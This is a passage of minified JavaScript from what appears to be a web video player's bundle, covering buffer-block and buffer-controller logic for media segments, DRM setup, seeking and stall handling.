0:t.maxSegmentDuration)},n.prototype.hasMaxSegmentDurations=function(){return Boolean(r.getValues(this.blockStateMap).map(function(n){return n.maxSegmentDuration}).find(function(n){return n>=0}))},n.prototype.getMinMaxSegmentDuration=function(){var n=Number.MAX_VALUE;return r.getValues(this.blockStateMap).map(function(n){return n.maxSegmentDuration}).forEach(function(t){return n=t<n?t:n}),n},n.prototype.getAllSegmentsForMimeType=function(n){return this.getAllSegments().filter(function(t){return t.getMimeType()===n})},n.prototype.getAllSegments=function(){return this.cachedSegments.map(function(n){return n.segment})},n.prototype.hasDataSegments=function(n){return this.cachedSegments.some(function(t){return!t.segment.isInit()&&t.segment.getMimeType()===n})},n.prototype.hasSegments=function(){return this.getAllSegments().length>0},n.prototype.getNextSegment=function(){var t=this.cachedSegments.filter(function(n){return!n.pendingRemoval}),n;return 0===t.length?null:(n=t.find(function(n){return t.filter(function(t){return n.segment.getMimeType()===t.segment.getMimeType()}).some(function(n){return!n.segment.isInit()})}),n?(n.pendingRemoval=!0,n.segment):null)},n.prototype.removeLastInitSegment=function(n){var t=this.getAllSegmentsForMimeType(n),i;t.length>0&&(i=t[t.length-1],i.isInit()&&this.removeSegment(i))},n.prototype.getBlockState=function(n){return this.blockStateMap.get(n)},Object.defineProperty(n.prototype,"mediaTypes",{get:function(){var n={};return this.blockStateMap.forEach(function(t,i){n[i]=t.mediaType}),n},enumerable:!1,configurable:!0}),n}();t.BufferBlock=o},73022:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.areBufferBlocksEqual=void 0;t.areBufferBlocksEqual=function(n,t){return!(!n||!t)&&n===t}},80858:function(n,t,i){function st(n){return{periodId:n.getPeriodId(),contentInformation:n.getMediaTypes().map(function(t){return{codec:t.codec,mimeType:t.mimeType,isDrmProtected:n.getSegregationCriteria(t.mimeType).encryption===ti.EncryptionState.Encrypted}})}}var h=this&&this.__assign||function(){return h=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},h.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.BufferController=void 0;var s=i(92712),ht=i(25550),ct=i(28764),lt=i(63546),at=i(35148),c=i(18665),vt=i(60997),d=i(62510),g=i(33696),yt=i(94304),l=i(76650),v=i(28819),y=i(8272),p=i(58975),nt=i(76420),r=i(96873),e=i(33669),w=i(3464),tt=i(43485),it=i(10981),u=i(53968),o=i(79814),b=i(331),pt=i(70016),f=i(46462),wt=i(91520),rt=i(16368),bt=i(41108),kt=i(77874),ut=i(72788),dt=i(58211),k=i(16280),ft=i(68294),gt=i(59839),ni=i(14764),et=i(22645),ti=i(55937),ii=i(16492),ri=i(15109),a=i(27076),ot=i(42346),ui=i(19724),fi=function(){function n(n,t,i,r){var f=this;this.currentRendererMediaTypes=[];this.startupPlaybackTime=null;this.isAlreadyStarted=!1;this.isStartup=!0;this.isClearingBuffers=!1;this.finishPlayback=!1;this.hasStreamEndedInternal=!1;this.activeInitSegments={};this.bufferMaxSizeChangedSubscriptionMap={};this.isTimeshiftCancelled=!1;this.updateTotalDuration=function(){f.totalDuration=f.manifestService.getTotalDuration();f.totalDuration>(f.renderer.getDuration()||0)&&f.setDurationOnRenderer()};this.setDurationOnRenderer=function(){f.finishPlayback||f.renderer.setDuration(f.totalDuration)};this.onRendererSetupFailed=function(n){f.context.logger.debug("Renderer setup failed with",n)};this.onVideoElementTimeUpdate=function(){Date.now()-f.lastBackwardBufferClearingTimestamp>f.minimalBackwardBufferClearingInterval&&f.canClearBackwardBuffer()&&f.maintainBackwardBufferLevel();f.checkIfEndOfBufferReached(f.settings.END_OF_BUFFER_TOLERANCE)};this.onTimeNotAdvancing=function(){var n=f.settings.END_OF_BUFFER_RECOVERY_TOLERANCE,t=f.segmentStore.getBufferBlock(f.currentPlayingBufferBlockId);f.isAtEndOfBufferBlock()&&t&&(n=f.segmentStore.getSmallestMaxSegmentDuration(t));f.checkIfEndOfBufferReached(n)};this.onVideoElementEnded=function(){var n,t,i;u.isSwitchingBufferBlocks(f.getSourceStore())||(t=null===(n=f.segmentStore)||void 0===n?void 0:n.getNextBufferBlock(f.currentPlayingBufferBlockId),t&&(i=f.renderer.getCurrentTime(!0),f.tryToSwitchBufferBlock(i,t)))};this.onVideoElementStalled=function(){f.checkIfEndOfBufferReached(f.settings.END_OF_BUFFER_RECOVERY_TOLERANCE)};this.context=n;this.logger=n.logger;this.settings=n.settings;this.bufferSettings=n.bufferSettings;this.eventHandler=n.eventHandler;this.renderer=n.renderer;this.manifestService=n.serviceManager.get(c.ServiceName.ManifestService,n.sourceContext.sourceIdentifier);this.segmentStore=new ot.SegmentStore(this.settings);this.endStallAtGapCallback=t;this.bufferStallingService=new ri.BufferStallingService(this.getPlayerStateService(),this.logger,this.context.renderer);this.currentPlayingPeriodId=r;this.lastPlayingPeriodId=null;this.totalDuration=i;this.currentPlayingBufferBlockId=ot.INITIAL_BUFFER_BLOCK_ID;this.dataSegmentsPushedMap=new Map;this.isEndOfStreamReached=!1;this.lastBackwardBufferClearingTimestamp=0;this.minimalBackwardBufferClearingInterval=b.toMilliSeconds(this.context.settings.MINIMAL_BACKWARD_BUFFER_CLEARING_INTERVAL);this.discontinuitySequenceNumbers=new Map;this.currentBufferBlockDeferredReject=new a.DeferredReject;this.drmConfigValidPromise=Promise.resolve(null);this.bufferRangesCache=new ii.BufferRangesCache(this.context,this.segmentStore);this.subscribeToPlaybackStoppedStateChange();this.renderer.ready().then(function(){f.setDurationOnRenderer();f.shouldSendLicenseRequestsImmediately()&&f.setupDRM()}).catch(this.onRendererSetupFailed);this.unsubscribeFromStoreSeekedListener=w.subscribe(this.context.store)(function(n){return n&&p.getPlayerState(n).seekState},function(){f.canClearBackwardBuffer()&&f.maintainBackwardBufferLevel()},function(n,t){return n===nt.SeekState.Seeked&&t!==nt.SeekState.Seeked})}return n.prototype.subscribeToPlaybackStoppedStateChange=function(){var t=this,n=this.context.store;void 0!==n&&(this.unsubscribeFromStoreStoppedListener=w.subscribe(n)(function(n){return n&&p.getIsStopped(p.getPlayerState(n))},function(){return t.hasStreamEndedInternal=!0},function(n){return!0===n}))},Object.defineProperty(n.prototype,"isCurrentlyStalled",{get:function(){return this.bufferStallingService.isRendererStalling()},enumerable:!1,configurable:!0}),n.prototype.shouldSendLicenseRequestsImmediately=function(){var n,t;return Boolean(null===(t=ft.getDrmState(null===(n=this.getSourceStore())||void 0===n?void 0:n.getState()))||void 0===t?void 0:t.immediateLicenseRequest)},n.prototype.createSourceBuffers=function(n){var t=this,i=Promise.resolve();return this.bufferCreationDeferred=new it.Deferred,this.isStartup||(i=this.renderer.shutdown(!0)),this.activeInitSegments={},this.bufferCreationDeferred.resolve(i.then(function(){return t.renderer.ready()}).then(function(){return t.setDurationOnRenderer(),t.clearBufferMaxSizeChangedSubscription(),n.forEach(function(n){var i=n.mimeType;t.addMimeTypeAndCodec(i,n.codec)||(t.logger.debug("Could not create source buffer for ".concat(i)),t.context.store.dispatch(l.removeMetricsForMimeType(i)));t.subscribeToBufferMaxSizeChanged(i)}),t.currentRendererMediaTypes=n.filter(function(n){return o.MimeTypeHelper.isAV(n.mimeType)}),t.setupDRM(),Promise.resolve(t.currentRendererMediaTypes.length)})),this.bufferCreationDeferred.promise.catch(function(n){return t.logger.warn(n)}).then(function(){t.bufferCreationDeferred=null}),this.bufferCreationDeferred.promise},n.prototype.subscribeToBufferMaxSizeChanged=function(n){var i=this,t=this.getSourceStore();t&&(this.bufferMaxSizeChangedSubscriptionMap[n]=t.subscribe(function(){return i.adjustMaxBufferLevels(n)},e.hasBufferMaxSizeChanged(n)))},n.prototype.unsubscribeFromBufferMaxSizeChanged=function(n){var t=this.bufferMaxSizeChangedSubscriptionMap[n];t&&(t(),delete this.bufferMaxSizeChangedSubscriptionMap[n])},n.prototype.setupDRM=function(){var t,u=this,n=ft.getDrmState(null===(t=this.getSourceStore())||void 0===t?void 0:t.getState()),i,r;void 0!==n&&Object.keys(n).length>0&&(i=h(h({},this.context.sourceContext.source),{drm:n}),r=this.manifestService.getDRMCapabilitiesForPeriod(this.currentPlayingPeriodId),Object.keys(yt.KeySystemMap).some(function(n){return i.drm.hasOwnProperty(n)})&&(this.drmConfigValidPromise=this.renderer.setDrmConfig(n,r),this.drmConfigValidPromise.catch(function(){u.logger.warn("Could not initialize renderer with given DRM config")})))},n.prototype.getSourceStore=function(){var n;if(null!==(n=this.context.serviceManager)&&void 0!==n)return n.get(c.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.maybeWaitForBufferClearingPromise=function(){var n=this;return this.seekBufferClearingPromise?this.seekBufferClearingPromise.catch(function(){return n.seekBufferClearingPromise=void 0,n.isTimeshiftCancelled=!0,Promise.reject("Failed to clear buffer on timeshift, stopping segment cache processing")}).then(function(){return n.seekBufferClearingPromise=void 0,n.isTimeshiftCancelled?(n.isTimeshiftCancelled=!1,Promise.reject("Timeshift cancelled, stopping segment cache processing")):Promise.resolve()}):Promise.resolve()},n.prototype.addSegment=function(n){var i=this,t,e,o,s,h;if(!this.segmentStore)return Promise.reject("Skipping segment processing, segment store is already disposed");this.logger.insane("adding segment to cache for period ".concat(n.getPeriodId()," with playback time ").concat(n.getPlaybackTime()," and mime type ").concat(n.getMimeType()));this.segmentStore.addSegment(n);this.subscribeToManifestChange();var c=et.getTrackIdentifier(n.getSegmentInfo()),f=this.getSourceStore(),l=n.getPlaybackTimeRange();if(l&&(null==f||f.dispatch(gt.removeStreamTimeRange(c,l,et.StreamTimeRangeType.Loading))),null==f||f.dispatch(r.addLoadedRange(c,k.segmentToBufferBlockTimeRange(n))),!this.areBufferBlockMediaTypesFinalForPeriod(n.getPeriodId()))return Promise.resolve();if(t=Promise.resolve(),this.delayedBufferBlockSwitchContext){if(e=this.delayedBufferBlockSwitchContext.time,o=this.findBufferBlockForTime(e),!this.segmentStore.canSwitchToBufferBlock(o))return Promise.resolve();t=this.maybeWaitForBufferClearingPromise().then(function(){return i.tryToSwitchBufferBlock(e,o)})}else if(u.isSwitchingBufferBlocks(this.getSourceStore())||this.isBufferAvailable()||this.bufferCreationDeferred)this.bufferCreationDeferred&&(t=this.bufferCreationDeferred.promise);else{if(s=this.segmentStore.getBufferBlockForSegment(n),h=null==s?void 0:s.getMediaTypes(),!h)return this.logger.debug("Chosen buffer block for segment unexpectedly had no mediaTypes"),Promise.resolve();t=this.createSourceBuffers(h)}return t.then(function(){return i.renderer?i.renderer.ready():Promise.reject("Stopping queue processing, renderer is not available")}).then(function(){return i.processSegmentCache()})},n.prototype.removePrecedingSegmentsFromStore=function(n,t){var i=this;this.segmentStore&&this.segmentStore.getPrecedingSegments(n,t).forEach(function(n){var t;i.segmentStore.removeSegment(n);null===(t=i.getSourceStore())||void 0===t||t.dispatch(r.removeLoadedRange(n.getMimeType(),k.segmentToBufferBlockTimeRange(n)))})},n.prototype.clearBackwardBuffer=function(n,t){var i=this;return this.removePrecedingSegmentsFromStore(n,t),this.lastBackwardBufferClearingTimestamp=Date.now(),this.renderer.removeData(n,0,t).catch(function(t){return i.logger.debug("Error clearing ".concat(n," backward buffer:"),t)})},n.prototype.updateBackwardBufferClearingInterval=function(){if(this.segmentStore){var n=this.segmentStore.getBufferBlock(this.currentPlayingBufferBlockId),t=n?this.segmentStore.getSmallestMaxSegmentDuration(n):-1;this.minimalBackwardBufferClearingInterval=b.toMilliSeconds(Math.max(t/2,this.context.settings.MINIMAL_BACKWARD_BUFFER_CLEARING_INTERVAL))}},n.prototype.maintainBackwardBufferLevel=function(){var n,t,i=this;this.updateBackwardBufferClearingInterval();var r=null===(n=this.segmentStore)||void 0===n?void 0:n.getBufferBlock(this.currentPlayingBufferBlockId),f=this.renderer.getCurrentTime(),u=e.getBufferStateMap(null===(t=this.getSourceStore())||void 0===t?void 0:t.getState());u&&Object.keys(u).forEach(function(n){var t,s=null===(t=e.getRendererBufferedRanges(u,n)[0])||void 0===t?void 0:t.start,c=o.MimeTypeHelper.getMediaType(n);if(void 0!==s&&(null==r?void 0:r.hasMaxSegmentDuration(n))){var l=r.getMaxSegmentDuration(n)+1,a=i.bufferSettings.getBackwardTargetLevel(c),v=Math.max(l,a),h=f-v;s<h&&i.clearBackwardBuffer(n,h).catch(function(n){i.context.logger.debug("Could not clear backward buffer",n)})}})},n.prototype.setEndOfStream=function(n){var t;return n&&this.suspendEosSignalling||!this.renderer?(this.logger.debug("Skipping setting EOS"),Promise.resolve()):(n&&(null===(t=this.getSourceStore())||void 0===t||t.dispatch(r.setLoadingRangeFinished(!0))),this.isEndOfStreamReached=n,this.renderer.setEndOfStream(n))},n.prototype.adjustMaxBufferLevels=function(n){var t,i=e.getBufferState(null===(t=this.getSourceStore())||void 0===t?void 0:t.getState()),r=void 0!==i?e.getBufferMaxSize(i,n):e.DefaultBufferMaxSize,u,f;(this.logger.debug("Exceeded quota for ".concat(n," with ").concat(r," seconds of data in the buffers")),this.context.settings.NO_QUOTA_EXCEEDED_ADJUSTMENT)||(u=this.renderer.getCurrentTime(),f=this.segmentStore.getSmallestSafeBufferSize(u,n),this.bufferSettings.adjustMaxBufferLevels(f,n,r))},n.prototype.getLowestPlaybackTimeForAllSegments=function(n){return n.filter(function(n){return!n.isInit()}).map(function(n){return n.getPlaybackTime()}).reduce(function(n,t){return Math.min(t,n)},0)},n.prototype.updateTimestampOffsetForNegativePlaybackTime=function(){var i=this.segmentStore.getBufferBlock(this.currentPlayingBufferBlockId),t=this.segmentStore.getAllSegmentsFromBufferBlock(i).toArray(),n=this.getLowestPlaybackTimeForAllSegments(t);n<0&&(this.eventHandler.dispatchEvent(d.PlayerEvent.Warning,new lt.PlayerWarning(at.WarningCode.PLAYBACK_NEGATIVE_DECODING_TIMESTAMP_ENCOUNTERED)),this.logger.debug("Encountered negative DTS ".concat(n,", attempting to correct PTO...")),this.currentRendererMediaTypes.forEach(function(i){null!=i.timestampOffset&&(i.timestampOffset+=n,t.filter(function(n){return n.getMimeType()===i.mimeType}).forEach(function(n){return n.setPresentationTimeOffset(i.timestampOffset)}))}))},n.prototype.processSegmentCache=function(){var n=this;return this.isStartup?this.isStartupThresholdReached()?(this.updateTimestampOffsetForNegativePlaybackTime(),this.updateTimestampOffsets(),this.pushSegmentsToRenderer(1/0).then(function(){return n.endStartupPhase()})):Promise.resolve():this.pushSegmentsToRenderer(1/0)},n.prototype.getBufferedRangesMap=function(n,t){var r,i;return void 0===n&&(n=this.currentPlayingPeriodId),void 0===t&&(t=!0),i=e.getBufferState(null===(r=this.getSourceStore())||void 0===r?void 0:r.getState()),n&&void 0!==i?t?this.bufferRangesCache.getRanges(i):e.getRendererBufferRangesMap(this.segmentStore,i)(n,this.currentPlayingBufferBlockId):{}},n.prototype.addSegmentsFromCacheToRenderer=function(n,t){var f=this,e,i;return this.segmentStore?(e=this.segmentStore.getAllSegmentsFromBufferBlock(n),i=e.hasNext()&&e.next(),i?(this.segmentStore.removeSegment(i),i.getPeriodId()!==this.currentPlayingPeriodId&&(this.context.store.dispatch(ut.periodSwitchStarted(i.getPeriodId())),this.eventHandler.dispatchEvent(d.PlayerEvent.PeriodSwitch,{sourcePeriod:{periodId:this.currentPlayingPeriodId},targetPeriod:{periodId:i.getPeriodId()}})),this.addDataSegmentToRenderer(i).catch(function(n){f.logger.warn("Could not add segment to renderer mimeType: ".concat(i.getMimeType(),",\n        playbackTime: ").concat(i.getPlaybackTime()),n)}).then(function(){var e,o;return i.isInit()||null===(e=f.getSourceStore())||void 0===e||e.dispatch(r.removeLoadedRange(i.getMimeType(),k.segmentToBufferBlockTimeRange(i))),f.dataSegmentsPushedMap.set(i.getMimeType(),!i.isInit()),o=s.BufferRangeHelper.getTotalCommonBufferLength(f.getBufferedRangesMap(f.currentPlayingPeriodId)),f.currentPlayingPeriodId=i.getPeriodId(),!u.isSwitchingBufferBlocks(f.getSourceStore())||o<t?f.addSegmentsFromCacheToRenderer(n,t):Promise.resolve()})):Promise.resolve()):Promise.resolve()},n.prototype.dispatchFinishPeriodSwitch=function(){var n;this.currentPlayingPeriodId!==this.lastPlayingPeriodId&&(this.lastPlayingPeriodId&&(null===(n=this.context.store)||void 0===n||n.dispatch(ut.periodSwitchFinished(this.currentPlayingPeriodId))),this.lastPlayingPeriodId=this.currentPlayingPeriodId)},n.prototype.hasFinishedLoadingPeriod=function(n){var t,i,r=this.hasStopped(),u=null===(t=this.segmentStore)||void 0===t?void 0:t.isLoadingNextBufferBlock(this.currentPlayingBufferBlockId),f=null===(i=this.segmentStore)||void 0===i?void 0:i.hasSegmentsForBufferBlock(n);return(u||r)&&!f},n.prototype.pushSegmentsToRenderer=function(n){var t=this,i=this.segmentStore.getBufferBlock(this.currentPlayingBufferBlockId);return this.suspendEosSignalling=!0,this.addSegmentsFromCacheToRenderer(i,n).then(function(){var n,f;t.suspendEosSignalling=!1;t.isRestartThresholdReached()&&!t.isClearingBuffers&&t.endStalling();t.hasFinishedLoadingPeriod(i)?(null===(n=t.getSourceStore())||void 0===n||n.dispatch(r.setLoadingRangeFinished(!0)),t.logger.debug("Finished loading Period: ".concat(t.currentPlayingPeriodId,", signaling EOS")),t.hasTemporarilyReopenedMsePriorToBufferBlockSwitch?t.logger.debug("Skipped EOS signaling as a BufferBlock switch is just being executed"):t.currentBufferBlockSwitchPromise&&u.isSwitchingBufferBlocks(t.getSourceStore())?(t.logger.debug("delaying EOS signal until ongoing period switch is completed"),t.currentBufferBlockSwitchPromise.then(function(){t.setEndOfStream(!0).then(function(){return t.dispatchFinishPeriodSwitch()})})):t.setEndOfStream(!0).then(function(){return t.dispatchFinishPeriodSwitch()})):(null===(f=t.getSourceStore())||void 0===f||f.dispatch(r.setLoadingRangeFinished(!1)),t.dispatchFinishPeriodSwitch())})},n.prototype.updateTimestampOffsets=function(){var n=this;this.currentRendererMediaTypes.forEach(function(t){n.renderer.setTimestampOffset(t.mimeType,-t.timestampOffset)})},n.prototype.canClearBackwardBuffer=function(){var n,t,i=this.context.serviceManager.get(c.ServiceName.PlayerStateService);if(!i)return!1;var f=null!==(n=i.seekingOrTimeshifting)&&void 0!==n&&n,r=null===(t=this.getSourceStore())||void 0===t?void 0:t.getState(),o=r&&e.getIsTimestampRollingOver(r);return!(this.isEndOfStreamReached||u.isSwitchingBufferBlocks(this.getSourceStore())||f||o)},n.prototype.checkIfEndOfBufferReached=function(n){var i=this.renderer.getEndOfBufferTime(),r,t;void 0===i?this.renderer.isPaused()||this.startStalling():(r=i-n,t=this.renderer.getCurrentTime(!0),this.shouldHandleEndOfBuffer(t,r)&&this.handleEndOfBuffer(t))},n.prototype.shouldHandleEndOfBuffer=function(n,t){return!u.isSwitchingBufferBlocks(this.getSourceStore())&&(t<=n||this.manifestService.isLive()&&0===n)},n.prototype.resetCurrentTimeOnSegment=function(){var n,t=!0;this.dataSegmentsPushedMap.forEach(function(i,r){o.MimeTypeHelper.isVideo(r)&&(t=i,n=r)});t||(this.context.videoElement.currentTime=this.context.videoElement.currentTime,this.dataSegmentsPushedMap.set(n,!0))},n.prototype.handleEndOfBuffer=function(n){var r,f=this.isAtEndOfBufferBlock(),t=this.segmentStore.getNextBufferBlock(this.currentPlayingBufferBlockId),e=Boolean(t),i,u;f&&e&&(null===(r=this.segmentStore)||void 0===r?void 0:r.areBufferBlockMediaTypesFinal(t))?(i=t.getMinCommonStartTime(),u=isFinite(i)&&i>=n?i:n,this.tryToSwitchBufferBlock(u,t)):this.getRemainingTime()>0&&!this.finishPlayback&&(this.startStalling(),this.resetCurrentTimeOnSegment())},n.prototype.isAtEndOfBufferBlock=function(){var n=this.segmentStore.getBufferBlock(this.currentPlayingBufferBlockId);return!n.getNextSegment()||!!this.segmentStore&&this.segmentStore.isLoadingNextBufferBlock(n.getId())},n.prototype.readyToSeek=function(){return this.currentBufferBlockSwitchPromise?(this.logger.debug("Awaiting ongoing buffer block switch before seek"),this.currentBufferBlockSwitchPromise.then(function(){}).catch(function(){})):Promise.resolve()},n.prototype.shouldBuffersBeCleared=function(n,t){var i=this.renderer.getCurrentTime();return!this.isTimeInBufferedRange(n)||t&&n<i},n.prototype.isTimeInBufferedRange=function(n){var t,i=null===(t=this.getSourceStore())||void 0===t?void 0:t.getState(),r;return i?(r=this.getBufferedRangesMap(dt.getPlayingPeriodId(i),!0),s.BufferRangeHelper.isInBufferedRange(r,n)):!1},n.prototype.maybeClearBuffers=function(n,t,i){return void 0===t&&(t=!1),void 0===i&&(i=!1),t||this.shouldBuffersBeCleared(n,i)?this.clearBuffersOnSeek():Promise.resolve()},n.prototype.setTimeshiftCancelState=function(n){this.isTimeshiftCancelled=n},n.prototype.clearBuffersOnSeek=function(){var n=this;return this.context.logger.debug("Clearing buffer on seek or timeshift"),this.setEndOfStream(!1).then(function(){return n.clearBuffers()}).then(function(){return n.isTimeshiftCancelled?(n.isTimeshiftCancelled=!1,Promise.reject("cancelled timeshift")):Promise.resolve()})},n.prototype.setCurrentTime=function(n,t,i,r){var f=this,o;void 0===i&&(i=!1);void 0===r&&(r=!1);var e=t||this.manifestService.getPeriodIdForTime(n),u=this.segmentStore.getBufferBlockForPlaybackTime(n),s=this.segmentStore.getBufferBlock(this.currentPlayingBufferBlockId),h=Boolean(!u||u.getId()!==s.getId());return(this.isStartup&&(this.currentPlayingPeriodId=e),this.seekTarget=n,this.isStartup||this.isInBufferedRange(n,e)||this.startStalling(),this.isBufferAvailable())&&(o=this.seekBufferClearingPromise||Promise.resolve(),this.seekBufferClearingPromise=o.then(function(){return f.maybeClearBuffers(n,r,i)}).catch(function(n){return f.logger.debug("Error clearing buffers:",n)})),h?u?this.tryToSwitchBufferBlock(n,u):this.delayBufferBlockSwitch(n):(this.delayedBufferBlockSwitchContext=void 0,this.renderer.setCurrentTime(n).then(function(n){return f.endStallingAfterSeek(n)}))},n.prototype.endStallingAfterSeek=function(n){return this.seekTarget=void 0,this.isRestartThresholdReached()?(this.logger.debug("End stalling after seek to ".concat(n)),this.endStalling()):this.logger.debug("Delay ending stall as the restart threshold is not yet reached"),Promise.resolve(n)},n.prototype.bufferBlockSwitchErrorHandler=function(n,t){var u,f,e,o,s,i=null!==(f=null===(u=this.delayedBufferBlockSwitchContext)||void 0===u?void 0:u.time)&&void 0!==f?f:t,c=pt.isNumber(null===(e=this.delayedBufferBlockSwitchContext)||void 0===e?void 0:e.time)&&(null===(o=this.segmentStore)||void 0===o?void 0:o.canSwitchToBufferBlockForTime(i)),h;return(this.logger.debug("Buffer block switch failed:",n),this.currentBufferBlockDeferredReject=new a.DeferredReject,c)?(this.logger.debug("Trying to continue delayed BufferBlock switch to ".concat(i,"...")),h=this.findBufferBlockForTime(i),this.tryToSwitchBufferBlock(i,h)):(null===(s=this.getSourceStore())||void 0===s||s.dispatch(r.setBufferBlockSwitchOngoing(!1)),Promise.resolve(t))},n.prototype.findBufferBlockForTime=function(n){var t,i=this.manifestService.getPeriodIdForTime(n);if(null!==(t=this.segmentStore)&&void 0!==t)return t.getTargetBufferBlock(n,i)},n.prototype.tryToSwitchBufferBlock=function(n,t){var u,f,i=this,e=function(){},o;return(this.currentBufferBlockDeferredReject&&this.currentBufferBlockDeferredReject.reject("BufferBlock switch interrupted by newest one"),this.currentBufferBlockDeferredReject=new a.DeferredReject,null===(u=this.getSourceStore())||void 0===u||u.dispatch(r.setBufferBlockSwitchOngoing(!0)),this.delayedBufferBlockSwitchContext&&(e=this.delayedBufferBlockSwitchContext.deferred.resolve),!(null===(f=this.segmentStore)||void 0===f?void 0:f.canSwitchToBufferBlock(t)))?this.delayBufferBlockSwitch(n):(this.hasTemporarilyReopenedMsePriorToBufferBlockSwitch=!0,o=this.seekBufferClearingPromise||Promise.resolve(),this.currentBufferBlockSwitchPromise=o.then(function(){return i.setEndOfStream(!1)}).then(function(){return i.delayedBufferBlockSwitchContext=void 0}).then(function(){return i.currentBufferBlockDeferredReject.next(function(){return i.clearRendererBuffers()})}).then(function(){return i.currentBufferBlockDeferredReject.next(function(){return i.switchOrRestoreBufferBlock(t,n)})}).then(function(n){return i.hasTemporarilyReopenedMsePriorToBufferBlockSwitch=!1,i.currentBufferBlockDeferredReject=new a.DeferredReject,e(n),n}).catch(function(t){return i.bufferBlockSwitchErrorHandler(t,n)}).finally(function(){i.currentBufferBlockSwitchPromise=void 0}),this.currentBufferBlockSwitchPromise)},n.prototype.switchOrRestoreBufferBlock=function(n,t){var i,r;return this.hasStreamEnded()?(null===(i=this.currentBufferBlockDeferredReject)||void 0===i||i.reject("BufferBlock switch interrupted by source unloading"),Promise.reject("Source was unloaded")):tt.isTizen2017()||(null===(r=this.segmentStore)||void 0===r?void 0:r.shouldSwitchBufferBlock(n,this.currentPlayingBufferBlockId))?this.switchBufferBlock(t,n):this.restorePlayback(t,n)},n.prototype.delayBufferBlockSwitch=function(n){u.isSwitchingBufferBlocks(this.getSourceStore())&&this.currentBufferBlockDeferredReject&&this.currentBufferBlockDeferredReject.reject("BufferBlock switch interrupted by newest one");var t=this.segmentStore.getAvailablePositionForTime(n,this.renderer.getCurrentTime());return this.delayedBufferBlockSwitchContext&&this.delayedBufferBlockSwitchContext.time===n||(this.delayedBufferBlockSwitchContext&&this.delayedBufferBlockSwitchContext.time!==n&&this.delayedBufferBlockSwitchContext.deferred.reject(),this.delayedBufferBlockSwitchContext={time:t,deferred:new it.Deferred}),this.delayedBufferBlockSwitchContext.deferred.promise},n.prototype.restorePlayback=function(n,t){var i=this;return this.updateTimestampOffsets(),this.isEndOfStreamReached=!1,this.currentPlayingBufferBlockId=t.getId(),this.segmentStore.deleteOldBufferBlocks(t.getId()),this.hasTemporarilyReopenedMsePriorToBufferBlockSwitch=!1,this.segmentStore.getBufferBlock(t.getId())?this.currentBufferBlockDeferredReject.next(function(){return i.pushSegmentsToRenderer(1/0)}).then(function(){return i.currentBufferBlockDeferredReject.next(function(){return i.setCurrentTimeOnRenderer(n)})}).then(function(n){var t;return null===(t=i.getSourceStore())||void 0===t||t.dispatch(r.setBufferBlockSwitchOngoing(!1)),i.resumePlaybackIfNotStalledOrPaused(),i.endStallingAfterSeek(n)}):(this.logger.debug("Target BufferBlock is no longer available, cancelling BufferBlock switch..."),Promise.reject("The targeted buffer BufferBlock is no longer available"))},n.prototype.resumePlaybackIfNotStalledOrPaused=function(){var t=this,n=this.getPlayerStateService();n&&(this.isCurrentlyStalled||n.isPaused()||this.renderer.play().catch(function(n){t.logger.debug("play call failed with reason: ".concat(n))}))},n.prototype.shouldRecreateSourceBuffers=function(n,t){var r,i=null===(r=this.segmentStore)||void 0===r?void 0:r.getBufferBlock(this.currentPlayingBufferBlockId);if(!i)return!0;var u=i.getPeriodId()===n.getPeriodId(),f=this.currentRendererMediaTypes.length===t.length,e=!(u||f)||!ui.canReuseSourceBuffer(i,n,t);return this.allowUserToOverwriteBufferRecreationDecision(e,i,n)},n.prototype.allowUserToOverwriteBufferRecreationDecision=function(n,t,i){var r,u,e=null===(r=this.context)||void 0===r?void 0:r.sourceContext.source,o=null===(u=null==e?void 0:e.options)||void 0===u?void 0:u.shouldRecreateSourceBuffersOnPeriodSwitch;if(!o)return n;var s=st(t),h=st(i),f=o(s,h,n);return"boolean"==typeof f?(this.logger.debug("User overwrote default SourceBuffer recreation strategy from ".concat(n," to ").concat(f)+" for the switch from ".concat(s.periodId," to ").concat(h.periodId,".")),f):n},n.prototype.switchBufferBlock=function(n,t){var i=this,r,u;return this.logger.debug("Switching buffer block for time ".concat(n)),r=t.getMediaTypesWithoutSubs(),u=this.maybeRecreateSourceBuffers(t,r),this.currentRendererMediaTypes=r,this.currentBufferBlockDeferredReject.next(function(){return u}).then(function(){return i.currentBufferBlockDeferredReject.next(function(){return i.restorePlayback(n,t)})}).then(function(n){return i.currentBufferBlockDeferredReject.next(function(){return i.pushSegmentsToRenderer(1/0).catch(function(){return i.context.logger.debug("Could not push segment into renderer")})}).then(function(){return n})})},n.prototype.maybeRecreateSourceBuffers=function(n,t){return this.shouldRecreateSourceBuffers(n,t)?(this.logger.debug("recreating the buffers with types",t),this.createSourceBuffers(t)):Promise.resolve(0)},n.prototype.setCurrentTimeOnRenderer=function(n){var i=this,t=this.delayedBufferBlockSwitchContext;return this.delayedBufferBlockSwitchContext=void 0,this.currentBufferBlockDeferredReject.next(function(){return i.renderer.setCurrentTime(n)}).then(function(n){return t&&t.deferred&&t.deferred.resolve(n),n})},n.prototype.addMimeTypeAndCodec=function(n,t,i){if(void 0===i&&(i=!1),!o.MimeTypeHelper.isAV(n))return!0;var r=this.renderer.addBuffer(n,t);return r&&(v.getMetricsState(this.context.store.getState())[n]||this.context.store.dispatch(l.initializeMetricsForMimeType(n,this.context.settings)),i||this.context.store.dispatch(l.addMetricsValue(n,y.MetricType.StalledSeconds,0))),r},n.prototype.setInitialPeriod=function(n){this.currentPlayingPeriodId=n},n.prototype.getLowestBufferLevel=function(n,t){var r=this,i;return this.isBufferAvailable()?(i=this.currentRendererMediaTypes.map(function(n){return n.mimeType}).map(function(i){return r.getOverallBufferLevel(i,n,g.BufferType.ForwardDuration,t)}),i.length>0?Math.min.apply(Math,i):0):0},n.prototype.isStartupThresholdReached=function(){var i=Math.abs(this.manifestService.getTimeShiftBufferDepthSeconds()),n=this.bufferSettings.getForwardTargetLevel(),r,t;return 0!==i&&(n=Math.min(n,i)),r=Math.min(this.settings.STARTUP_THRESHOLD,n-this.settings.STARTUP_THRESHOLD_DELTA),t=this.getLowestBufferLevel(),t>=r||t>=this.getRemainingTime()},n.prototype.getInitialPlaybackTime=function(){var n,i,t;return 